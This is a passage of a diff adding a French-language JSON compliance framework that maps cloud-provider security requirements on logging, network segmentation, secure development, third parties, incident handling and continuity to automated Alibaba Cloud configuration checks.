chiffrement et duplication) ; la localisation des journaux. b) Le prestataire doit generer et collecter les evenements suivants : les activites des utilisateurs liees a la securite de l'information ; la modification des droits d'acces dans le perimetre de sa responsabilite ; les evenements issus des mecanismes de lutte contre les codes malveillants (voir chapitre 12.4) ; les exceptions ; les defaillances ; tout autre evenement lie a la securite de l'information. c) Le prestataire doit conserver les evenements issus de la journalisation pendant une duree minimale de six mois sous reserve du respect des exigences legales et reglementaires. d) Le prestataire doit fournir, sur demande d'un commanditaire, l'ensemble des evenements le concernant. e) Il est recommande que le systeme de journalisation mis en place par le prestataire respecte les recommandations de [NT_JOURNAL]." + } + ], + "Checks": [ + "actiontrail_multi_region_enabled", + "oss_bucket_logging_enabled", + "rds_instance_sql_audit_enabled", + "rds_instance_sql_audit_retention", + "sls_logstore_retention_period" + ] + }, + { + "Id": "12.7", + "Description": "Les moyens de journalisation et les informations journalisees doivent etre proteges contre les risques de falsification et les acces non autorises.", + "Name": "Protection de l'information journalisee", + "Attributes": [ + { + "Section": "12. Securite liee a l'exploitation", + "Service": "actiontrail", + "Type": "Automated", + "Comment": "a) Le prestataire doit proteger les equipements de journalisation et les evenements journalises contre les atteintes a leur disponibilite, integrite ou confidentialite, conformement au chapitre 3.2 de [NT_JOURNAL]. b) Le prestataire doit gerer le dimensionnement de l'espace de stockage de l'ensemble des equipements hebergeant une ou plusieurs sources de collecte afin de permettre la conservation locale des evenements journalises prevue par la politique de journalisation des evenements. Cette gestion du dimensionnement doit prendre en compte les evolutions du systeme d'information. c) Le prestataire doit transferer les evenements journalises en assurant leur protection en confidentialite et en integrite, sur un ou plusieurs serveurs centraux dedies et doit les stocker sur une machine physique distincte de celle qui les a generes. d) Le prestataire doit mettre en place une sauvegarde des evenements collectes suivant une politique adaptee. e) Le prestataire doit executer les processus de journalisation et de collecte des evenements avec des comptes disposant de privileges necessaires et suffisants et doit limiter l'acces aux evenements journalises conformement a la politique de controle d'acces (voir chapitre 9.1)." + } + ], + "Checks": [ + "actiontrail_oss_bucket_not_publicly_accessible", + "oss_bucket_not_publicly_accessible", + "sls_logstore_retention_period" + ] + }, + { + "Id": "12.8", + "Description": "Les horloges de tous les systemes de traitement de l'information pertinents d'un organisme ou d'un domaine de securite doivent etre synchronisees sur une source de reference temporelle unique.", + "Name": "Synchronisation des horloges", + "Attributes": [ + { + "Section": "12. Securite liee a l'exploitation", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre une synchronisation des horloges de l'ensemble des equipements sur une ou plusieurs sources de temps internes coherentes entre elles. Ces sources pourront elles-memes etre synchronisees sur plusieurs sources fiables externes, sauf pour les reseaux isoles. b) Le prestataire doit mettre en place l'horodatage de chaque evenement journalise." + } + ], + "Checks": [] + }, + { + "Id": "12.9", + "Description": "Les evenements de securite doivent etre analyses et correles afin de detecter les incidents de securite. Des systemes de detection et de correlation doivent etre mis en oeuvre.", + "Name": "Analyse et correlation des evenements", + "Attributes": [ + { + "Section": "12. Securite liee a l'exploitation", + "Service": "sls", + "Type": "Automated", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre une infrastructure permettant l'analyse et la correlation des evenements enregistres par le systeme de journalisation afin de detecter les evenements susceptibles d'affecter la securite du systeme d'information du service, en temps reel ou a posteriori pour des evenements remontant jusqu'a six mois. b) Il est recommande de s'appuyer sur le referentiel d'exigences des prestataires de detection d'incidents de securite [PDIS] pour la mise en place et l'exploitation de l'infrastructure d'analyse et de correlation des evenements. c) Le prestataire doit acquitter les alarmes remontees par l'infrastructure d'analyse et de correlation des evenements au moins quotidiennement." + } + ], + "Checks": [ + "sls_root_account_usage_alert_enabled", + "sls_unauthorized_api_calls_alert_enabled", + "sls_management_console_authentication_failures_alert_enabled", + "sls_management_console_signin_without_mfa_alert_enabled", + "sls_security_group_changes_alert_enabled", + "sls_vpc_changes_alert_enabled", + "sls_vpc_network_route_changes_alert_enabled", + "sls_cloud_firewall_changes_alert_enabled", + "sls_oss_bucket_policy_changes_alert_enabled", + "sls_oss_permission_changes_alert_enabled", + "sls_ram_role_changes_alert_enabled", + "sls_rds_instance_configuration_changes_alert_enabled", + "sls_customer_created_cmk_changes_alert_enabled", + "securitycenter_advanced_or_enterprise_edition" + ] + }, + { + "Id": "12.10", + "Description": "Des regles regissant l'installation de logiciels par les utilisateurs doivent etre etablies et mises en oeuvre. Les systemes doivent etre geres de maniere centralisee et les correctifs appliques regulierement.", + "Name": "Installation de logiciels sur des systemes en exploitation", + "Attributes": [ + { + "Section": "12. Securite liee a l'exploitation", + "Service": "ecs", + "Type": "Automated", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre une procedure permettant de controler l'installation de logiciels sur les equipements du systeme d'information du service. b) Le prestataire doit documenter et mettre en oeuvre une procedure de gestion de la configuration des environnements logiciels mis a la disposition du commanditaire, notamment pour leur maintien en condition de securite. c) Le prestataire doit fournir une capacite d'inspection et de suppression, si necessaire, des entrants (controle de l'authenticite et de l'innocuite des mises a jour, controle de l'innocuite des outils fournis, etc.) relatifs au perimetre de l'infrastructure technique : cette capacite d'inspection et de suppression doit generer des journaux d'activite et doit pouvoir faire l'objet d'un audit de code ; les entrants doivent etre traites sur des dispositifs specifiques operes et maintenus par le prestataire et heberges dans une zone cloisonnee du reste de l'infrastructure (du type zone demilitarisee telle que definie dans [G_INT])." + } + ], + "Checks": [ + "ecs_instance_latest_os_patches_applied", + "ecs_instance_endpoint_protection_installed" + ] + }, + { + "Id": "12.11", + "Description": "Les informations sur les vulnerabilites techniques des systemes d'information utilises doivent etre obtenues en temps voulu, l'exposition du prestataire a ces vulnerabilites doit etre evaluee et les mesures appropriees doivent etre prises pour traiter le risque associe.", + "Name": "Gestion des vulnerabilites techniques", + "Attributes": [ + { + "Section": "12. Securite liee a l'exploitation", + "Service": "securitycenter", + "Type": "Automated", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre un processus de veille permettant de gerer les vulnerabilites techniques des logiciels et des systemes utilises dans le systeme d'information du service. b) Le prestataire doit evaluer son exposition a ces vulnerabilites en les incluant dans l'appreciation des risques et appliquer les mesures de traitement du risque adaptees." + } + ], + "Checks": [ + "securitycenter_vulnerability_scan_enabled", + "securitycenter_advanced_or_enterprise_edition", + "ecs_instance_latest_os_patches_applied" + ] + }, + { + "Id": "12.12", + "Description": "L'administration des systemes d'information du service cloud doit etre effectuee de maniere securisee via des canaux dedies et des protocoles securises.", + "Name": "Administration", + "Attributes": [ + { + "Section": "12. Securite liee a l'exploitation", + "Service": "ecs", + "Type": "Partially Automated", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre une procedure obligeant les administrateurs sous sa responsabilite a utiliser des terminaux dedies pour la realisation exclusive des taches d'administration, en accord avec le chapitre 4.1 intitule 'poste et reseau d'administration' de [NT_ADMIN]. Il doit les maitriser et les maintenir a jour. b) Le prestataire doit mettre en place des mesures de durcissement de la configuration des terminaux utilises pour les taches d'administration, notamment celles du chapitre 4.2 intitule 'securisation du socle' de [NT_ADMIN]. c) Lorsque le prestataire autorise une situation de mobilite pour les administrateurs sous sa responsabilite, il doit l'encadrer par une politique documentee. La solution mise en oeuvre doit assurer que le niveau de securite de cette situation de mobilite est au moins equivalent au niveau de securite hors situation de mobilite (voir chapitres 9.6 et 9.7). Cette solution doit notamment inclure : l'utilisation d'un tunnel chiffre, non debrayable et non contournable, pour l'ensemble des flux (voir chapitre 10.2) ; le chiffrement integral du disque (voir chapitre 10.1)." + } + ], + "Checks": [ + "cs_kubernetes_private_cluster_enabled", + "ram_user_mfa_enabled_console_access" + ] + }, + { + "Id": "12.13", + "Description": "Le telediagnostic et la telemaintenance des composants de l'infrastructure doivent etre encadres par des procedures de securite specifiques.", + "Name": "Telediagnostic et telemaintenance des composants de l'infrastructure", + "Attributes": [ + { + "Section": "12. Securite liee a l'exploitation", + "Service": "general", + "Type": "Manual", + "Comment": "a) Dans le cadre du telediagnostic ou de la telemaintenance de composants de l'infrastructure, considerant les risques d'atteinte a la confidentialite des donnees des commanditaires, le prestataire doit : verifier que la personne a qui l'acces doit etre autorise a satisfait aux verifications de l'exigence 7.1.b ; dans le cas d'une intervention realisee par une personne n'ayant pas satisfait aux verifications de l'exigence 7.1.b, mettre en oeuvre une passerelle securisee (poste de rebond) par laquelle la personne devra se connecter et permettant une supervision des actions (autorisation ou interdiction des actions, demande d'explications, etc.) en temps reel, par une personne ayant elle-meme satisfait aux verifications de l'exigence 7.1.b. La passerelle securisee devra repondre aux objectifs de securite specifies dans [G_EXT] ; considerer les actions menees, une fois l'acces autorise, comme des actions d'administration et les journaliser comme telles ; supprimer l'autorisation d'acces a l'issue de l'intervention." + } + ], + "Checks": [] + }, + { + "Id": "12.14", + "Description": "Les flux sortants de l'infrastructure du service cloud doivent etre surveilles afin de detecter et de prevenir les exfiltrations de donnees et les communications non autorisees.", + "Name": "Surveillance des flux sortants de l'infrastructure", + "Attributes": [ + { + "Section": "12. Securite liee a l'exploitation", + "Service": "vpc", + "Type": "Automated", + "Comment": "a) Le prestataire doit fournir une capacite d'inspection et de suppression des sortants de l'infrastructure technique relatifs au perimetre du service (informations de facturation, les eventuels journaux necessaires au traitement d'incidents, etc.) : les sortants doivent pouvoir etre expurges des donnees pouvant porter atteinte a la confidentialite des donnees des commanditaires ; cette capacite d'inspection et de suppression doit generer des journaux d'activite et doit pouvoir faire l'objet d'un audit de code ; les sortants sont traites sur des dispositifs specifiques operes et maintenus par le prestataire, et heberges dans une zone cloisonnee du reste de l'infrastructure (du type zone demilitarisee telle que definie dans [G_INT])." + } + ], + "Checks": [ + "vpc_flow_logs_enabled" + ] + }, + { + "Id": "13.1", + "Description": "Le prestataire doit etablir et maintenir une cartographie complete et a jour de son systeme d'information, incluant les reseaux, les flux et les composants.", + "Name": "Cartographie du systeme d'information", + "Attributes": [ + { + "Section": "13. Securite des communications", + "Service": "actiontrail", + "Type": "Automated", + "Comment": "a) Le prestataire doit etablir et tenir a jour une cartographie du systeme d'information du service, en lien avec l'inventaire des actifs (voir chapitre 8.1), comprenant au minimum les elements suivants : la liste des ressources materielles ou virtualisees ; les noms et fonctions des applications, supportant le service ; le schema d'architecture reseau au niveau 3 du modele OSI sur lequel les points nevralgiques sont identifies : les points d'interconnexions, notamment avec les reseaux tiers et publics ; les reseaux, sous-reseaux, notamment les reseaux d'administration ; les equipements assurant des fonctions de securite (filtrage, authentification, chiffrement, etc.) ; les serveurs hebergeant des donnees ou assurant des fonctions sensibles ; la matrice des flux reseau autorises en precisant : leur description technique (services, protocoles et ports) ; la justification metier ou d'infrastructure technique ; le cas echeant, lorsque des services, protocoles ou ports reputes non surs sont utilises, les mesures compensatoires mises en place, dans la logique de defense en profondeur. b) Le prestataire doit reviser au moins annuellement la cartographie." + } + ], + "Checks": [ + "actiontrail_multi_region_enabled", + "vpc_flow_logs_enabled", + "securitycenter_all_assets_agent_installed" + ] + }, + { + "Id": "13.2", + "Description": "Les reseaux doivent etre cloisonnes et les flux entre les segments doivent etre filtres selon le principe du moindre privilege. Les groupes de securite et les listes de controle d'acces reseau doivent etre configures de maniere restrictive.", + "Name": "Cloisonnement des reseaux", + "Attributes": [ + { + "Section": "13. Securite des communications", + "Service": "ecs", + "Type": "Automated", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre, pour le systeme d'information du service, les mesures de cloisonnement (logique, physique ou par chiffrement) pour separer les flux reseau selon : la sensibilite des informations transmises ; la nature des flux (production, administration, supervision, etc.) ; le domaine d'appartenance des flux (des commanditaires - avec distinction par commanditaire ou ensemble de commanditaires, du prestataire, des tiers, etc.) ; le domaine technique (traitement, stockage, etc.). b) Le prestataire doit cloisonner, physiquement ou par chiffrement, tous les flux de donnees internes au systeme d'information du service vis-a-vis de tout autre systeme d'information. Lorsque ce cloisonnement est realise par chiffrement, il est realise en accord avec les exigences du chapitre 10.2. c) Dans le cas ou le reseau d'administration de l'infrastructure technique ne fait pas l'objet d'un cloisonnement physique, les flux d'administration doivent transiter dans un tunnel chiffre, en accord avec les exigences du chapitre 10.2. d) Le prestataire doit mettre en place et configurer un pare-feu applicatif pour proteger les interfaces d'administration destinees a ses commanditaires et exposees sur un reseau public. e) Le prestataire doit mettre en oeuvre sur l'ensemble des interfaces d'administration et de supervision de l'infrastructure technique du service un mecanisme de filtrage n'autorisant que les connexions legitimes identifiees dans la matrice des flux autorises." + } + ], + "Checks": [ + "ecs_securitygroup_restrict_rdp_internet", + "ecs_securitygroup_restrict_ssh_internet", + "ecs_instance_no_legacy_network", + "cs_kubernetes_network_policy_enabled", + "cs_kubernetes_private_cluster_enabled", + "rds_instance_no_public_access_whitelist" + ] + }, + { + "Id": "13.3", + "Description": "Les reseaux doivent etre surveilles de maniere continue afin de detecter les activites anormales ou malveillantes.", + "Name": "Surveillance des reseaux", + "Attributes": [ + { + "Section": "13. Securite des communications", + "Service": "securitycenter", + "Type": "Automated", + "Comment": "a) Le prestataire doit disposer une ou plusieurs sondes de detection d'incidents de securite sur le systeme d'information du service. Ces sondes doivent notamment permettre la supervision de chacune des interconnexions du systeme d'information du service avec des systemes d'information tiers et des reseaux publics. Ces sondes doivent etre des sources de collecte pour l'infrastructure d'analyse et de correlation des evenements (voir chapitre 12.9)." + } + ], + "Checks": [ + "securitycenter_advanced_or_enterprise_edition", + "vpc_flow_logs_enabled" + ] + }, + { + "Id": "14.1", + "Description": "Des regles de developpement securise des logiciels et des systemes doivent etre etablies et appliquees au sein du prestataire.", + "Name": "Politique de developpement securise", + "Attributes": [ + { + "Section": "14. Acquisition, developpement et maintenance des systemes d'information", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre des regles de developpement securise des logiciels et des systemes, et les appliquer aux developpements internes. b) Le prestataire doit documenter et mettre en oeuvre une formation adaptee en developpement securise aux employes concernes." + } + ], + "Checks": [] + }, + { + "Id": "14.2", + "Description": "Les changements apportes aux systemes dans le cycle de developpement doivent etre geres a l'aide de procedures formelles de controle des changements.", + "Name": "Procedures de controle des changements de systeme", + "Attributes": [ + { + "Section": "14. Acquisition, developpement et maintenance des systemes d'information", + "Service": "actiontrail", + "Type": "Partially Automated", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre une procedure de controle des changements apportes au systeme d'information du service. b) Le prestataire doit documenter et mettre en oeuvre une procedure de validation des changements apportes au systeme d'information du service sur un environnement de pre-production avant leur mise en production. c) Le prestataire doit conserver un historique des versions des logiciels et des systemes (developpements internes ou externes, produits commerciaux) mis en oeuvre pour permettre de reconstituer, le cas echeant dans un environnement de test, un environnement complet tel qu'il etait mis en oeuvre a une date donnee. La duree de conservation de cet historique doit etre en accord avec celle des sauvegardes (voir chapitre 12.5)." + } + ], + "Checks": [ + "actiontrail_multi_region_enabled" + ] + }, + { + "Id": "14.3", + "Description": "Lorsque les plateformes d'exploitation sont modifiees, les applications critiques metier doivent etre revues et testees afin de verifier qu'il n'y a pas d'effet indesirable sur l'activite ou la securite du prestataire.", + "Name": "Revue technique des applications apres changement apporte a la plateforme d'exploitation", + "Attributes": [ + { + "Section": "14. Acquisition, developpement et maintenance des systemes d'information", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre une procedure permettant de tester, prealablement a leur mise en production, l'ensemble des applications afin de verifier l'absence de tout effet indesirable sur l'activite ou sur la securite du service." + } + ], + "Checks": [] + }, + { + "Id": "14.4", + "Description": "Les environnements de developpement doivent etre securises et isoles des environnements de production.", + "Name": "Environnement de developpement securise", + "Attributes": [ + { + "Section": "14. Acquisition, developpement et maintenance des systemes d'information", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit mettre en oeuvre un environnement securise de developpement permettant de gerer l'integralite du cycle de developpement du systeme d'information du service. b) Le prestataire doit prendre en compte les environnements de developpement dans l'appreciation des risques et en assurer la protection conformement au present referentiel." + } + ], + "Checks": [] + }, + { + "Id": "14.5", + "Description": "Le prestataire doit superviser et surveiller l'activite de developpement externalise du systeme.", + "Name": "Developpement externalise", + "Attributes": [ + { + "Section": "14. Acquisition, developpement et maintenance des systemes d'information", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre une procedure permettant de superviser et de controler l'activite de developpement externalise des logiciels et des systemes. Cette procedure doit s'assurer que l'activite de developpement externalise soit conforme a la politique de developpement securise du prestataire et permette d'atteindre un niveau de securite du developpement externe equivalent a celui d'un developpement interne (voir exigence 14.1 a))." + } + ], + "Checks": [] + }, + { + "Id": "14.6", + "Description": "Des tests de securite et de conformite doivent etre effectues tout au long du cycle de developpement et apres chaque changement significatif.", + "Name": "Test de la securite et conformite du systeme", + "Attributes": [ + { + "Section": "14. Acquisition, developpement et maintenance des systemes d'information", + "Service": "securitycenter", + "Type": "Partially Automated", + "Comment": "a) Le prestataire doit soumettre les systemes d'information, nouveaux ou mis a jour, a des tests de conformite et de fonctionnalite de securite pendant le developpement. Il doit documenter et mettre en oeuvre une procedure de test qui identifie : les taches a realiser ; les donnees d'entree ; les resultats attendus en sortie." + } + ], + "Checks": [ + "securitycenter_vulnerability_scan_enabled", + "cs_kubernetes_cluster_check_weekly" + ] + }, + { + "Id": "14.7", + "Description": "Les donnees de test doivent etre soigneusement selectionnees, protegees et controlees.", + "Name": "Protection des donnees de test", + "Attributes": [ + { + "Section": "14. Acquisition, developpement et maintenance des systemes d'information", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre une procedure permettant d'assurer l'integrite des donnees de tests utilises en pre-production. b) Si le prestataire souhaite utiliser des donnees du commanditaire issues de la production pour realiser des tests, le prestataire doit prealablement obtenir l'accord du commanditaire et les anonymiser. Le prestataire doit assurer la confidentialite des donnees lors de leur anonymisation." + } + ], + "Checks": [] + }, + { + "Id": "15.1", + "Description": "Le prestataire doit identifier les tiers ayant acces a l'information ou aux moyens de traitement de l'information et evaluer les risques associes.", + "Name": "Identification des tiers", + "Attributes": [ + { + "Section": "15. Relations avec les tiers", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit tenir a jour une liste exhaustive des tiers participant a la mise en oeuvre du service (hebergeur, developpeur, integrateur, archiveur, sous-traitant operant sur site ou a distance, fournisseurs de climatisation, etc.). Cette liste doit preciser la contribution du tiers au service et au traitement des donnees a caractere personnel. Elle doit tenir compte des cas de sous-traitance a plusieurs niveaux. b) Le prestataire doit tenir a disposition du commanditaire la liste de l'ensemble des tiers qui peuvent acceder aux donnees et l'informer de tout changement de sous-traitants au sens de l'article 28 du [RGPD] afin que le commanditaire puisse emettre des objections a cet egard." + } + ], + "Checks": [] + }, + { + "Id": "15.2", + "Description": "Tous les aspects pertinents de la securite de l'information doivent etre traites dans les accords conclus avec les tiers.", + "Name": "La securite dans les accords conclus avec les tiers", + "Attributes": [ + { + "Section": "15. Relations avec les tiers", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit exiger des tiers participant a la mise en oeuvre du service, dans leur contribution au service, un niveau de securite au moins equivalent a celui qu'il s'engage a maintenir dans sa propre politique de securite. Il doit le faire au travers d'exigences, adaptees a chaque tiers et a sa contribution au service, dans les cahiers des charges ou dans les clauses de securite des accords de partenariat. Le prestataire doit inclure ces exigences dans les contrats conclus avec les tiers. b) Le prestataire doit contractualiser, avec chacun des tiers participant a la mise en oeuvre du service, des clauses d'audit permettant a un organisme de qualification de verifier que ces tiers respectent les exigences du present referentiel. c) Le prestataire doit definir et attribuer les roles et les responsabilites relatives a la modification ou a la fin du contrat le liant a un tiers participant a la mise en oeuvre du service." + } + ], + "Checks": [] + }, + { + "Id": "15.3", + "Description": "Le prestataire doit surveiller, revoir et auditer a intervalles reguliers la prestation des services des tiers.", + "Name": "Surveillance et revue des services des tiers", + "Attributes": [ + { + "Section": "15. Relations avec les tiers", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre une procedure permettant de controler regulierement les mesures mises en place par les tiers participant a la mise en oeuvre du service pour respecter les exigences du present referentiel, conformement au chapitre 18.3." + } + ], + "Checks": [] + }, + { + "Id": "15.4", + "Description": "Les changements dans les services des tiers, incluant le maintien et l'amelioration des politiques, procedures et mesures existantes de securite de l'information, doivent etre geres.", + "Name": "Gestion des changements apportes dans les services des tiers", + "Attributes": [ + { + "Section": "15. Relations avec les tiers", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre une procedure de suivi des changements apportes par les tiers participant a la mise en oeuvre du service susceptibles d'affecter le niveau de securite du systeme d'information du service. b) Dans la mesure ou un changement de tiers participant a la mise en oeuvre du service affecte le niveau de securite du service, le prestataire doit en informer l'ensemble des commanditaires sans delais conformement au chapitre 12.2 et mettre en oeuvre les mesures permettant de retablir le niveau de securite precedent." + } + ], + "Checks": [] + }, + { + "Id": "15.5", + "Description": "Les personnes intervenant dans le cadre du service cloud doivent etre soumises a des engagements de confidentialite.", + "Name": "Engagements de confidentialite", + "Attributes": [ + { + "Section": "15. Relations avec les tiers", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre une procedure permettant de reviser au moins annuellement les exigences en matiere d'engagements de confidentialite ou de non-divulgation vis-a-vis des tiers participant a la mise en oeuvre du service." + } + ], + "Checks": [] + }, + { + "Id": "16.1", + "Description": "Des responsabilites et des procedures de gestion doivent etre etablies pour garantir une reponse rapide, efficace et ordonnee aux incidents lies a la securite de l'information.", + "Name": "Responsabilites et procedures", + "Attributes": [ + { + "Section": "16. Gestion des incidents lies a la securite de l'information", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre une procedure permettant d'apporter des reponses rapides et efficaces aux incidents de securite. Ces procedures doivent definir les moyens et delais de communication des incidents de securite a l'ensemble des commanditaires concernes ainsi que le niveau de confidentialite exige pour cette communication. b) Le prestataire doit informer ses employes et l'ensemble des tiers participant a la mise en oeuvre du service de cette procedure. c) Le prestataire doit documenter toute violation de donnees a caractere personnel et en informer son commanditaire. La violation doit etre notifiee a la CNIL si elle presente un risque pour les droits et libertes des personnes concernees. Elle doit faire l'objet d'une information aupres des personnes concernees lorsque le risque pour leur vie privee est eleve." + } + ], + "Checks": [] + }, + { + "Id": "16.2", + "Description": "Les evenements lies a la securite de l'information doivent etre signales dans les meilleurs delais par les voies hierarchiques appropriees. Des mecanismes de detection et de notification automatises doivent etre mis en oeuvre.", + "Name": "Signalements lies a la securite de l'information", + "Attributes": [ + { + "Section": "16. Gestion des incidents lies a la securite de l'information", + "Service": "securitycenter", + "Type": "Partially Automated", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre une procedure exigeant de ses employes et des tiers participant a la mise en oeuvre du service qu'ils lui rendent compte de tout incident de securite, avere ou suspecte ainsi que de toute faille de securite. b) Le prestataire doit documenter et mettre en oeuvre une procedure permettant a l'ensemble des commanditaires de signaler tout incident de securite, avere ou suspecte et toute faille de securite. c) Le prestataire doit communiquer sans delai aux commanditaires les incidents de securite et les preconisations associees pour en limiter les impacts. Il doit permettre au commanditaire de choisir les niveaux de gravite des incidents pour lesquels il souhaite etre informe. d) Le prestataire doit communiquer les incidents de securite aux autorites competentes conformement aux exigences legales et reglementaires en vigueur." + } + ], + "Checks": [ + "securitycenter_notification_enabled_high_risk", + "securitycenter_advanced_or_enterprise_edition", + "sls_unauthorized_api_calls_alert_enabled" + ] + }, + { + "Id": "16.3", + "Description": "Les evenements lies a la securite de l'information doivent etre apprecies et il doit etre decide s'il est necessaire de les classer comme incidents lies a la securite de l'information.", + "Name": "Appreciation des evenements et prise de decision", + "Attributes": [ + { + "Section": "16. Gestion des incidents lies a la securite de l'information", + "Service": "securitycenter", + "Type": "Partially Automated", + "Comment": "a) Le prestataire doit apprecier les evenements lies a la securite de l'information et decider s'il faut les qualifier en incidents de securite. Pour l'appreciation, il doit s'appuyer sur une ou plusieurs echelles (estimation, evaluation, etc.) partagees avec le commanditaire. Note : Les incidents de securite incluent les violations de donnees a caractere personnel. b) Le prestataire doit utiliser une classification permettant d'identifier clairement les incidents de securite touchant des donnees relatives aux commanditaires, conformement aux resultats de l'appreciation des risques. Cette classification doit inclure les violations de donnees a caractere personnel." + } + ], + "Checks": [ + "securitycenter_notification_enabled_high_risk" + ] + }, + { + "Id": "16.4", + "Description": "Les incidents lies a la securite de l'information doivent etre traites conformement aux procedures documentees.", + "Name": "Reponse aux incidents lies a la securite de l'information", + "Attributes": [ + { + "Section": "16. Gestion des incidents lies a la securite de l'information", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit traiter les incidents de securite jusqu'a leur resolution et doit informer les commanditaires conformement aux procedures." + } + ], + "Checks": [] + }, + { + "Id": "16.5", + "Description": "Les connaissances acquises lors de l'analyse et du traitement des incidents lies a la securite de l'information doivent etre exploitees pour reduire la probabilite ou l'impact d'incidents futurs.", + "Name": "Tirer des enseignements des incidents lies a la securite de l'information", + "Attributes": [ + { + "Section": "16. Gestion des incidents lies a la securite de l'information", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre un processus d'amelioration continue afin de diminuer l'occurrence et l'impact de types d'incidents de securite deja traites." + } + ], + "Checks": [] + }, + { + "Id": "16.6", + "Description": "Le prestataire doit definir et appliquer des procedures pour l'identification, le recueil, l'acquisition et la preservation de preuves. Les journaux d'audit doivent etre proteges et valides.", + "Name": "Recueil de preuves", + "Attributes": [ + { + "Section": "16. Gestion des incidents lies a la securite de l'information", + "Service": "actiontrail", + "Type": "Partially Automated", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre une procedure permettant d'enregistrer les informations relatives aux incidents de securite et pouvant servir d'elements de preuve." + } + ], + "Checks": [ + "actiontrail_multi_region_enabled", + "actiontrail_oss_bucket_not_publicly_accessible" + ] + }, + { + "Id": "17.1", + "Description": "Le prestataire doit determiner ses exigences en matiere de securite de l'information et de continuite du management de la securite de l'information dans des situations defavorables, par exemple lors d'une crise ou d'un sinistre.", + "Name": "Organisation de la continuite d'activite", + "Attributes": [ + { + "Section": "17. Continuite d'activite", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit documenter et mettre oeuvre un plan de continuite d'activite prenant en compte la securite de l'information. b) Le prestataire doit reviser annuellement le plan de continuite d'activite du service et a chaque changement majeur pouvant avoir un impact sur le service." + } + ], + "Checks": [] + }, + { + "Id": "17.2", + "Description": "Le prestataire doit etablir, documenter, mettre en oeuvre et maintenir des processus, des procedures et des mesures de controle pour assurer le niveau requis de continuite de la securite de l'information au cours d'une situation defavorable. Les services doivent etre deployes en multi-AZ.", + "Name": "Mise en oeuvre de la continuite d'activite", + "Attributes": [ + { + "Section": "17. Continuite d'activite", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre des procedures permettant de maintenir ou de restaurer l'exploitation du service et d'assurer la disponibilite des informations au niveau et dans les delais pour lesquels le prestataire s'est engage vis-a-vis du commanditaire dans la convention de service." + } + ], + "Checks": [] + }, + { + "Id": "17.3", + "Description": "Le prestataire doit verifier a intervalles reguliers les mesures de continuite de la securite de l'information mises en oeuvre afin de s'assurer qu'elles sont valables et efficaces dans des situations defavorables.", + "Name": "Verifier, revoir et evaluer la continuite d'activite", + "Attributes": [ + { + "Section": "17. Continuite d'activite", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre une procedure permettant de tester le plan de continuite d'activites afin de s'assurer qu'il est pertinent et efficace en situation de crise." + } + ], + "Checks": [] + }, + { + "Id": "17.4", + "Description": "Les moyens de traitement de l'information doivent etre mis en oeuvre avec suffisamment de redondance pour repondre aux exigences de disponibilite. Les mecanismes de protection contre la suppression accidentelle doivent etre actives.", + "Name": "Disponibilite des moyens de traitement de l'information", + "Attributes": [ + { + "Section": "17. Continuite d'activite", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre les mesures qui lui permettent de repondre au besoin de disponibilite du service defini dans la convention de service (voir chapitre 19.1)." + } + ], + "Checks": [] + }, + { + "Id": "17.5", + "Description": "La configuration de l'infrastructure technique du service cloud doit etre sauvegardee regulierement afin de permettre sa restauration en cas de sinistre.", + "Name": "Sauvegarde de la configuration de l'infrastructure technique", + "Attributes": [ + { + "Section": "17. Continuite d'activite", + "Service": "actiontrail", + "Type": "Partially Automated", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre une procedure de sauvegarde hors-ligne de la configuration de l'infrastructure technique." + } + ], + "Checks": [ + "actiontrail_multi_region_enabled", + "securitycenter_all_assets_agent_installed" + ] + }, + { + "Id": "17.6", + "Description": "Le prestataire doit mettre a disposition du commanditaire un dispositif de sauvegarde de ses donnees, permettant la restauration en cas de sinistre.", + "Name": "Mise a disposition d'un dispositif de sauvegarde des donnees du commanditaire", + "Attributes": [ + { + "Section": "17. Continuite d'activite", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit documenter et mettre a disposition du commanditaire un service de sauvegarde de ses donnees." + } + ], + "Checks": [] + }, + { + "Id": "18.1", + "Description": "Toutes les exigences legales, reglementaires et contractuelles en vigueur, ainsi que l'approche du prestataire pour satisfaire ces exigences, doivent etre explicitement definies, documentees et tenues a jour pour chaque systeme d'information et pour le prestataire.", + "Name": "Identification de la legislation et des exigences contractuelles applicables", + "Attributes": [ + { + "Section": "18. Conformite", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit identifier les exigences legales, reglementaires et contractuelles en vigueur applicables au service. En France, le prestataire doit considerer au minimum les textes suivants : les donnees a caractere personnel [LOI_IL], [RGPD] ; le secret professionnel [CP_ART_226_13], le cas echeant sans prejudice de l'application de l'article 40 alinea 2 du Code de procedure penale 